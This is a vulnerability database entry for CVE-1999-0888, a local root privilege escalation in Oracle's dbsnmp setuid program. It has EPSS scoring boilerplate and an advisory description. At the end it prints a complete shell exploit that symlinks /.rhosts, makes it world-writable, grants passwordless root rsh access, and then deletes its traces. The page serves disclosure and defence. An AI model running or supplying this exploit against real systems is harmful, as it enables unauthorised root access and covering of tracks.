CVE-1999-0888 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/585/info A vulnerability in the Oracle Intelligent Agent allows local malicious users to execute arbitrary commands and to create world writable files as the root user. The problem lies in the dbsnmp program located in $ORACLE_HOME/bin . This setuid root and setgid dba program trusts the environment variable ORACLE_HOME without verifying its contents. This vulnerability can be exploited in a number of ways. The dbsnmp program calls a tcl script ( nmiconf.tcl ) located by default in $ORACLE_HOME/network/agent/config. A malicious user can craft his own nmiconf.tcl script and fool the dbsnmp program to execute as root. When run without ORACLE_HOME being set, dbsnmp will dump two log files out into the current working directory: dbsnmpc and dbsnmpt . If these files do not exist, dbsnmp will attempt to create them mode 666 and dump around 400 bytes of uncontrollable output into them. If the files do exist, dbsnmp will append these 400 bytes but not change the permissions. Thus a malicious user can create world writable files in the system that do not exist (e.g. /.rhosts). #!/bin/sh # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others # You'll probably have to change your path to dbsnmp # Exploit will only work if /.rhosts does NOT exist # # Brock Tellier btellier@usa.net cd /tmp unset ORACLE_HOME umask 0000 ln -s /.rhosts /tmp/dbsnmpc.log /u01/app/oracle/product/8.1.5/bin/dbsnmp echo "+ +" > /.rhosts rsh -l root localhost 'sh -i' rsh -l root localhost rm /tmp/*log* rsh -l root localhost rm /.rhosts
